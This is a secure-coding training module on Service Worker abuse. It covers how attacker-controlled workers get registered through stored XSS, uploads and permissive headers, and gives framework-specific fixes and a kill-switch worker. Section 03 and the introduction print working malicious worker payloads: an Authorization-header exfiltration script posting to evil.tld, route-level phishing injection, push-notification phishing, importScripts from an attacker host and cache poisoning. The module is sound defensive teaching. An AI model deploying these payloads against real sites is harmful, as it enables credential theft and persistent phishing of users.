01 //Introduction
Service Worker abuse is the bug class where an attacker convinces the browser to install a persistent, scriptable proxy in front of your origin. The carrier is almost always a call to navigator.serviceWorker.register() that loads a JavaScript URL the attacker controls, either via a stored XSS that runs the registration directly, a file upload served from the app origin with a JavaScript Content-Type, a permissive Service-Worker-Allowed header on attacker-supplied content, or a subdomain takeover where a stale worker is still active on returning users. Once installed, the worker survives tab close, browser restart, password reset, and almost every remediation short of a manual navigator.serviceWorker.getRegistrations() sweep or a site-data wipe.
The bug class sits in a quiet seam of the web platform. Service Workers were added in 2015 to make offline-capable web apps feasible. They run in a separate thread, with no DOM, and the browser deliberately gives them broad authority: they sit between every HTTP request the page makes and the network, they can cache arbitrary responses, they can return fully synthesised responses, and they fire push and notificationclick events even when no tab is open. The same-origin policy is enforced (a worker can only be installed at its own origin), but within an origin the worker is essentially a man-in-the-middle with full read and write privileges over every fetch in scope. The W3C Service Worker spec and MDN are the canonical references; for the security model specifically, see the Secure Contexts requirement and the CSP worker-src directive.
Service Workers are required HTTPS, scoped to the origin, and only register from same-origin scripts. That sounds like a tight envelope, but it leaks in four predictable ways: (1) applications host user uploads on the same origin as the app shell (so an uploaded .js served with the wrong Content-Type becomes a worker); (2) register() is called with a string built from user input or framework state; (3) the Service-Worker-Allowed response header is set permissively by a CDN config, letting a worker at /uploads/sw.js control /; (4) old workers from a previous incident, branding refresh, or framework migration are still installed in returning users because nobody called unregister(). Each one has produced disclosures in mainstream apps in the last three years.
OWASP catalogues the related issues under user-controlled script execution and Content Security Policy, but Service Worker abuse rarely has its own CWE entry; the closest mappings are CWE-494 (Download of Code Without Integrity Check) for the registration path and CWE-345 (Insufficient Verification of Data Authenticity) for the post-install behaviour. The defensive recipe is consistent across frameworks: register workers only from a single hard-coded path under your control, host user uploads on a separate origin, set Content-Type strictly (never text/javascript for user content), enforce X-Content-Type-Options: nosniff, ship a CSP that pins worker-src 'self', and have a documented incident response that calls getRegistrations() and unregister() on every client when the worker JS is suspected compromised. This module walks through the attack surface, the canonical payloads, and the per-framework fix that closes the bug class properly.
A file-sharing app serves user uploads from https://app.tld/uploads/<file> and uses Content-Type sniffing. An attacker uploads sw.js containing self.addEventListener('fetch', e => e.respondWith(fetch('https://evil.tld' + e.request.url))). The app then renders a profile page that contains <script>navigator.serviceWorker.register('/uploads/sw.js')</script> via stored XSS. What does the victim experience?
02 //The Attack Flow
Every service worker abuse follows the same four-stage flow: the attacker plants a JavaScript file at a URL the application origin will serve as JavaScript, the victim's browser triggers navigator.serviceWorker.register() against that URL, the worker installs at the deepest path containing the script (or wider if Service-Worker-Allowed is set), and the worker then runs across every future visit until something explicitly removes it. The persistence is the part that makes the bug class qualitatively different from XSS: a worker installed during a thirty-second XSS window keeps running long after the XSS is patched.
sw.js via file upload, finds a stored XSS, or hijacks a CDN pathnavigator.serviceWorker.register('/uploads/sw.js') runs in victim's tabfetch in scopeA service worker is the only client-side primitive that persists across tab closes. Once registered, it lives until the browser garbage-collects it or your application explicitly calls unregister(). An XSS that lasts thirty seconds becomes a worker that lasts months and survives password resets, session expiry, and almost every remediation short of clearing site data. The blast radius is not the page that loaded the script, it is every future visit to anything in scope.
The shape of a realistic exploit depends on what the attacker controls. The classic chain is a stored XSS that runs register() with a same-origin URL the attacker can write to, but the bug class extends to several adjacent shapes: user uploads served as JavaScript, CDN paths overridden via cache poisoning, subdomain takeovers where the old worker is still installed in returning users, and dependency confusion where a build script bundles an attacker-controlled package whose initialisation calls register(). The reviewer's job is to enumerate every byte sequence under the origin that the browser could load as JavaScript, and every code path that could call register() with a URL that is not a hard-coded constant.
Common Sink Surfaces in Real Applications
| Where worker installs come from | Typical attacker payload |
|---|---|
| Stored XSS that calls register() | Reflected JS that registers a same-origin script |
| File uploads served from the app origin | Uploaded sw.js with text/javascript content type |
| register(userInputUrl) with user-controlled path | Path traversal or open redirect into attacker-controlled JS |
| Compromised CDN serving /static/sw.js | Replaced bundle that adds fetch interception |
| Subdomain takeover (old worker still installed) | Reclaimed origin re-serves a new attacker sw.js to existing clients |
| Dependency confusion in build pipeline | Malicious npm package that calls register() in its init code |
| importScripts() inside an existing worker | Attacker URL loaded by a permissive importScripts call |
| Stale worker after security incident | Original incident patched, but installed workers were never unregistered |
The most common pattern in modern stacks is to serve user uploads from the application origin: https://app.tld/uploads/<file>, often behind a CDN. That choice is ergonomic (no CORS, no extra domain, simple auth) but it puts user-controlled bytes on the same origin as the app shell. Every file upload becomes a potential service worker script if the Content-Type is wrong, if MIME sniffing is on, or if a single XSS lets the attacker pick the registration URL. The robust pattern is to host user content on a separate, sandboxed origin (app-uploads.tld or app-usercontent.com), which structurally prevents the worker from installing against the app origin.
1// VULNERABLE, the registration URL is built from a query parameter.
2// The attacker submits ?sw=/uploads/sw.js and the application registers
3// an attacker-supplied script at the deepest scope that contains it.
4
5// BAD, never derive register() input from user data.
6const swUrl = new URL(window.location.href).searchParams.get('sw') || '/sw.js';
7
8if ('serviceWorker' in navigator) {
9 // BAD, the path is user-influenced, no allow-list, no integrity check.
10 navigator.serviceWorker.register(swUrl, { scope: '/' });
11}
12
13// A stored XSS that reaches the page once is enough to permanently install
14// a worker. The user can close the tab; the worker survives. The next visit,
15// the worker is already controlling the page before any of your code runs.The team patches the XSS that allowed register() to be called with attacker input. A pentester reports that returning users still have the malicious worker installed weeks later. Why is that a separate fix, and what does it tell you about the original review?
03 //Payload Anatomy & Trigger Patterns
A service worker becomes an abuse primitive the moment its script comes from a byte sequence the attacker influenced. The defensive bytes are the registration URL (must be a fixed, version-controlled constant), the Content-Type response header on the script URL (must be a JavaScript MIME type only on URLs you trust), X-Content-Type-Options: nosniff on every response, and the CSP worker-src directive on the controlling document. Once installed, the worker runs with full fetch interception authority inside its scope; the spec gives it no DOM access, but it can synthesise responses for any URL in scope, which is functionally equivalent to a persistent man-in-the-middle.
- Any stored XSS that can call
navigator.serviceWorker.register() - File uploads served from your origin without a strict
Content-Type - User-controlled paths reflected into
register(userInput) - Compromised CDN or hosting bucket serving JS from your origin
importScripts()inside an existing worker pulling from a permissive URL- Subdomain takeover where an old
sw.jsis still cached at scope
- User-content domains served from the same origin as the app (no
Service-Worker-Allowedreview) - Staging or preview subdomains that share session cookies with prod
Service-Worker-Allowedresponse header expanding scope above the script path- Old workers still installed in returning users after a security incident
navigator.serviceWorker.controllermessages trusted as same-origin- Push subscription endpoints that survive the user logging out
If any byte sequence under your origin can be served with Content-Type: text/javascript (or application/javascript), treat that byte sequence as a potential service worker. Combine with any code path that calls register() with a partially user-controlled URL, and you have a full chain. The right baseline is: workers only register from a fixed, version-controlled path, uploads never share the app origin, and CSP worker-src 'self' is enforced.
Payload Catalogue, What an Attacker Actually Writes
| Payload (inside the malicious worker) | Effect | Mitigation that defeats it |
|---|---|---|
| self.addEventListener("fetch", e => e.respondWith(new Response(phishingHtml, { headers: { "Content-Type": "text/html" } }))) | Returns synthesised HTML for any in-scope navigation; visually indistinguishable from real responses | Worker script never reaches origin: strict registration path, separate user-content origin, CSP worker-src self |
| self.addEventListener("fetch", e => { fetch("https://evil.tld/log", { method: "POST", body: e.request.url + "\n" + e.request.headers.get("authorization") }); e.respondWith(fetch(e.request)); }) | Exfiltrates every URL and Authorization header before passing the request through; victim sees no change | Same defense; layered with CSP connect-src to block evil.tld at the CSP layer |
| self.addEventListener("fetch", e => { if (e.request.url.endsWith("/api/me")) e.respondWith(new Response(JSON.stringify({admin: true}))); }) | Targeted response rewriting; client-side privilege escalation in SPAs that trust /api/me | Same defense; server-side authorisation is always the source of truth, never trust SPA state |
| self.addEventListener("push", e => self.registration.showNotification("Account locked", { data: "https://evil.tld/unlock" })) | Persistent phishing via push notifications even when no tab is open | Require explicit user gesture to subscribe; verify push subscriptions server-side; rotate VAPID keys on incident |
| self.addEventListener("install", () => caches.open("v1").then(c => c.addAll([...lots of URLs...]))) | Cache poisoning, pre-fetches and stores attacker-controlled responses for in-scope URLs | Same defense; on incident response ship a kill-switch worker that clears caches and unregisters |
| importScripts("https://evil.tld/payload.js") | Loads cross-origin code into the worker context; CSP can or cannot block depending on directive | Strict CSP worker-src self; ban importScripts in code review or restrict to self URLs only |
| self.addEventListener("message", e => e.source.postMessage(localStorageStolen)) | Worker as cross-tab message relay; combined with content scripts can read across same-origin tabs | Worker should not be a trust boundary; treat workers as untrusted by the rest of the app |
| self.skipWaiting() + clients.claim() | Immediately replaces any existing worker and takes control of every open tab, even without reload | Defense in depth, the registration itself is the failure; once you trust the script, skipWaiting is normal |
1// 1) Credential exfiltration, the canonical proof-of-concept.
2// Logs every Authorization header to an attacker endpoint while
3// passing the request through transparently, so the user sees nothing.
4self.addEventListener('fetch', (event) => {
5 const auth = event.request.headers.get('authorization');
6 if (auth) {
7 fetch('https://evil.tld/x', {
8 method: 'POST',
9 body: JSON.stringify({ url: event.request.url, auth }),
10 // keepalive so the exfil request survives navigation
11 keepalive: true,
12 }).catch(() => {});
13 }
14 event.respondWith(fetch(event.request));
15});
16
17// 2) Phishing page injection on a specific route.
18// The victim navigates to /account, the worker returns a pixel-perfect
19// clone served from the cache. URL bar still shows app.tld.
20self.addEventListener('fetch', (event) => {
21 if (new URL(event.request.url).pathname === '/account') {
22 event.respondWith(
23 caches.match('/payloads/account-phish.html').then(
24 (r) => r || fetch(event.request),
25 ),
26 );
27 }
28});
29
30// 3) Persistent push-based phishing.
31// Worker keeps running after every tab closes; push events from the
32// attacker server show notifications that link to a phishing URL.
33self.addEventListener('push', (event) => {
34 const data = event.data?.json() ?? {};
35 event.waitUntil(
36 self.registration.showNotification(data.title || 'Security alert', {
37 body: data.body || 'Please re-verify your account',
38 data: { url: data.url || 'https://evil-clone.tld/verify' },
39 }),
40 );
41});
42self.addEventListener('notificationclick', (event) => {
43 event.notification.close();
44 event.waitUntil(clients.openWindow(event.notification.data.url));
45});A worker registered from /sw.js controls the entire origin. A worker registered from /static/sw.js controls only /static/, unless the response includes Service-Worker-Allowed: /, which widens the scope to the value of that header. Reviewers see register('/static/sw.js') and assume the scope is /static/, but a permissive CDN config that adds Service-Worker-Allowed: / silently expands the blast radius to the whole origin. Audit the response headers, not just the request URL.
A reviewer suggests blocking JavaScript Content-Type on user uploads. A teammate replies 'that is not enough, browsers MIME-sniff and serve uploaded files as JS even when we send Content-Type: application/octet-stream'. Who is right and what is the minimal correct rule?
04 //Mitigation Patterns
There are five correct mitigations, in rough order of preference. Register workers only from a single, hard-coded URL under your control; host user uploads on a separate origin; set strict response headers on every script-serving path (Content-Type, X-Content-Type-Options: nosniff, Service-Worker-Allowed only where intentional); ship a CSP with worker-src 'self' and ideally script-src hashes; and document an incident-response runbook that includes a kill-switch worker. Each one is a few lines of code or config; the discipline is to apply them at every layer, not just the bundler.
Mitigation Options at a Glance
| Strategy | How | When to use |
|---|---|---|
| Hard-coded registration URL | navigator.serviceWorker.register("/sw.js"), no template literals, no user input | Always. This is the primary control; banning dynamic registration paths in lint is the durable enforcement. |
| Separate origin for user content | Serve uploads from app-usercontent.tld; never share session cookies; never share an origin with the SPA | Every application that accepts file uploads, profile images, exported reports, anything user-generated. |
| X-Content-Type-Options: nosniff (everywhere) | Server-set HTTP response header that disables browser MIME sniffing | Every response from your origin, full stop. Especially the script-serving paths and any user-content endpoint. |
| CSP worker-src 'self' | Content-Security-Policy: worker-src 'self'; script-src 'self' 'sha256-...' | Every authenticated document. Backstops missed Content-Type or accidental same-origin script paths. |
| Kill-switch worker for incident response | Deploy a minimal sw.js whose install handler calls self.registration.unregister() and caches.delete() | Have it written and tested before you need it. Push at the moment a worker compromise is suspected. |
| Subresource Integrity on registration URL | No native SRI for service workers; pin via versioned URL (/sw-v17.js) and audit on every release | High-trust apps. Worker JS goes through code review and CI signing like any other production code. |
1// lib/register-sw.ts, the only allowed entry point for service worker registration.
2//
3// Strategy: register from a fixed, version-controlled URL; pin scope explicitly;
4// log registration outcomes; surface failures so they are not silently swallowed.
5// A lint rule bans direct navigator.serviceWorker.register calls elsewhere.
6
7const SW_URL = '/sw.js';
8const SW_SCOPE = '/';
9
10export async function registerServiceWorker(): Promise<void> {
11 if (typeof navigator === 'undefined' || !('serviceWorker' in navigator)) {
12 return;
13 }
14 // Defensive: do not register if the current origin does not look like ours.
15 // A leaked register helper running on an attacker mirror should refuse.
16 const EXPECTED_ORIGIN = 'https://app.tld';
17 if (window.location.origin !== EXPECTED_ORIGIN) {
18 return;
19 }
20 try {
21 const reg = await navigator.serviceWorker.register(SW_URL, {
22 scope: SW_SCOPE,
23 // type: 'module' if you ship an ES module worker, kept explicit on purpose.
24 type: 'classic',
25 updateViaCache: 'none',
26 });
27 // updateViaCache:'none' forces the browser to revalidate the worker script
28 // on every load, so an attacker who poisons the cache for a few minutes
29 // does not get a permanent hold.
30 void reg;
31 } catch (err) {
32 // Never silently fail; route to your client-side logger.
33 reportError(err);
34 }
35}
36
37// EVERY caller goes through registerServiceWorker(). Lint bans navigator.serviceWorker.register
38// anywhere else in the codebase. The URL is a constant; user input cannot reach it.By default, the browser is allowed to revalidate the worker script using the HTTP cache, which means a stale (or once-poisoned) worker can keep running for the lifetime of the cache entry. Setting updateViaCache: 'none' at registration forces the browser to bypass the HTTP cache for the worker script itself; you can still cache the worker's sub-resources normally. The cost is one extra conditional request per page load; the benefit is that a compromised worker can be replaced by the next page load instead of waiting for the cache TTL.
1// public/sw.js, the contents you deploy when you need to evict every installed worker.
2//
3// Replaces whatever was previously installed at the same URL; the install
4// handler unregisters this registration and clears all caches; the result is
5// that every returning client cleans itself up on next visit and is then free
6// of any prior worker, including any malicious one.
7
8self.addEventListener('install', (event) => {
9 // skipWaiting so this kill-switch activates immediately, replacing any
10 // existing worker without waiting for all tabs to close.
11 self.skipWaiting();
12});
13
14self.addEventListener('activate', (event) => {
15 event.waitUntil(
16 (async () => {
17 // Delete every cache the previous worker created.
18 const keys = await caches.keys();
19 await Promise.all(keys.map((k) => caches.delete(k)));
20 // Unregister this worker so the origin is fully unworkered after activation.
21 await self.registration.unregister();
22 // Force every controlled client to reload, picking up the clean state.
23 const clients = await self.clients.matchAll({ type: 'window' });
24 for (const c of clients) c.navigate(c.url);
25 })(),
26 );
27});
28
29// Do NOT add a fetch handler. The kill-switch must be the simplest possible
30// worker; every extra event handler is an opportunity for a bug that prolongs
31// the incident.1// composables/useServiceWorker.ts
2import { onMounted } from 'vue';
3
4const SW_URL = '/sw.js';
5const SW_SCOPE = '/';
6const EXPECTED_ORIGIN = 'https://app.tld';
7
8export function useServiceWorker() {
9 onMounted(async () => {
10 if (!('serviceWorker' in navigator)) return;
11 if (window.location.origin !== EXPECTED_ORIGIN) return;
12 try {
13 await navigator.serviceWorker.register(SW_URL, {
14 scope: SW_SCOPE,
15 type: 'classic',
16 updateViaCache: 'none',
17 });
18 } catch (err) {
19 console.error('[sw] registration failed', err);
20 }
21 });
22}
23
24// Mounted in App.vue setup(); no template-level access to register().
25// ESLint rule no-restricted-syntax bans navigator.serviceWorker.register
26// outside this file.1// app/sw.provider.ts
2import { APP_INITIALIZER, FactoryProvider } from '@angular/core';
3
4const SW_URL = '/sw.js';
5const SW_SCOPE = '/';
6const EXPECTED_ORIGIN = 'https://app.tld';
7
8export const SW_PROVIDER: FactoryProvider = {
9 provide: APP_INITIALIZER,
10 useFactory: () => async () => {
11 if (!('serviceWorker' in navigator)) return;
12 if (window.location.origin !== EXPECTED_ORIGIN) return;
13 try {
14 await navigator.serviceWorker.register(SW_URL, {
15 scope: SW_SCOPE,
16 type: 'classic',
17 updateViaCache: 'none',
18 });
19 } catch (err) {
20 console.error('[sw] registration failed', err);
21 }
22 },
23 multi: true,
24 deps: [],
25};
26
27// Bootstrapped in app.config.ts providers. No other code path may call
28// navigator.serviceWorker.register; @angular-eslint enforces this.1// app/sw-register.tsx, mounted once in app/layout.tsx so the registration
2// fires exactly one time per origin per browser session.
3
4'use client';
5
6import { useEffect } from 'react';
7
8const SW_URL = '/sw.js';
9const SW_SCOPE = '/';
10const EXPECTED_ORIGIN = 'https://app.tld';
11
12export function SwRegister() {
13 useEffect(() => {
14 if (!('serviceWorker' in navigator)) return;
15 if (window.location.origin !== EXPECTED_ORIGIN) return;
16 navigator.serviceWorker
17 .register(SW_URL, {
18 scope: SW_SCOPE,
19 type: 'classic',
20 updateViaCache: 'none',
21 })
22 .catch((err) => console.error('[sw] registration failed', err));
23 }, []);
24 return null;
25}
26
27// next.config.js sets the response headers on /sw.js:
28// { source: '/sw.js', headers: [
29// { key: 'Content-Type', value: 'application/javascript' },
30// { key: 'X-Content-Type-Options', value: 'nosniff' },
31// { key: 'Cache-Control', value: 'no-cache' },
32// ] }1// next.config.js (or equivalent server config)
2// Strict headers on every script-serving response, especially the worker URL.
3
4module.exports = {
5 async headers() {
6 return [
7 {
8 // The worker script itself.
9 source: '/sw.js',
10 headers: [
11 { key: 'Content-Type', value: 'application/javascript; charset=utf-8' },
12 { key: 'X-Content-Type-Options', value: 'nosniff' },
13 { key: 'Cache-Control', value: 'no-cache, must-revalidate' },
14 // Only widen scope if you absolutely need to. Most apps do NOT.
15 // { key: 'Service-Worker-Allowed', value: '/' },
16 ],
17 },
18 {
19 // Everything else, defense-in-depth nosniff.
20 source: '/:path*',
21 headers: [
22 { key: 'X-Content-Type-Options', value: 'nosniff' },
23 {
24 key: 'Content-Security-Policy',
25 value:
26 "default-src 'self'; script-src 'self'; worker-src 'self'; " +
27 "connect-src 'self'; frame-ancestors 'none'; base-uri 'none';",
28 },
29 ],
30 },
31 {
32 // User content lives on a separate origin in this example.
33 // If you must serve it from /uploads/, force a non-renderable type
34 // and add Content-Disposition: attachment.
35 source: '/uploads/:path*',
36 headers: [
37 { key: 'Content-Type', value: 'application/octet-stream' },
38 { key: 'X-Content-Type-Options', value: 'nosniff' },
39 { key: 'Content-Disposition', value: 'attachment' },
40 { key: 'Cache-Control', value: 'private, no-store' },
41 ],
42 },
43 ];
44 },
45};The pattern that actually works in practice is the same as for prepared statements, the outbound-link component, and the mail header validator: one helper in a shared library, plus a lint rule that flags any direct navigator.serviceWorker.register call. The helper is twenty lines of code. The discipline is what closes the bug class; every new worker registration must go through it, and code review enforces that.
A developer says 'our CSP has script-src self, so an attacker cannot register a malicious worker because the script tag is blocked'. Why is that not enough?
05 //Conclusion
Service worker abuse is a textbook case of authority transferred across an install seam. The application is correct in isolation; the browser is correct; the same-origin policy is enforced. The vulnerability lives in the moment a registration call accepts a URL that an attacker influenced, or in the moment a same-origin response is allowed to be promoted to JavaScript. Fix it the same way every adjacent bug class is fixed: a single helper, applied at every sink, paired with a structurally separate user-content origin and an HTTP posture (CSP worker-src, nosniff, COOP) that limits the damage when something does slip through.
Register service workers only through a shared helper with a hard-coded URL · Always set explicit scope and updateViaCache: 'none' · Refuse registration on unexpected origins · Host user uploads on a separate origin, never the app origin · Always send X-Content-Type-Options: nosniff · Use Content-Type: application/octet-stream and Content-Disposition: attachment for non-renderable user content · Ban bare navigator.serviceWorker.register via ESLint no-restricted-syntax · Add Semgrep / CodeQL rules that flag dynamic register() URLs and dynamic importScripts · Set CSP worker-src 'self', Cross-Origin-Opener-Policy: same-origin, Origin-Agent-Cluster: ?1, and a tight script-src on every authenticated document · Pre-write a kill-switch worker and rehearse deploying it · Tie push subscriptions to session lifecycle so logout actually unsubscribes.
When you see a new navigator.serviceWorker.register in a diff, the first question is not "does this work", it is "what authority does this hand to whoever controls the script bytes, and for how long?" If the answer is "every fetch for the entire origin, until the user clears site data", every byte in the registration URL and every byte the URL resolves to is a security-critical interface. The fix is one helper, one separate origin, and one HTTP header set away. Pair this module with the Advanced XSS Patterns, CSP Bypass Techniques, and Subdomain Takeover guides for the adjacent classes where the bug is "an attacker-influenceable response is loaded with privileged authority by the application".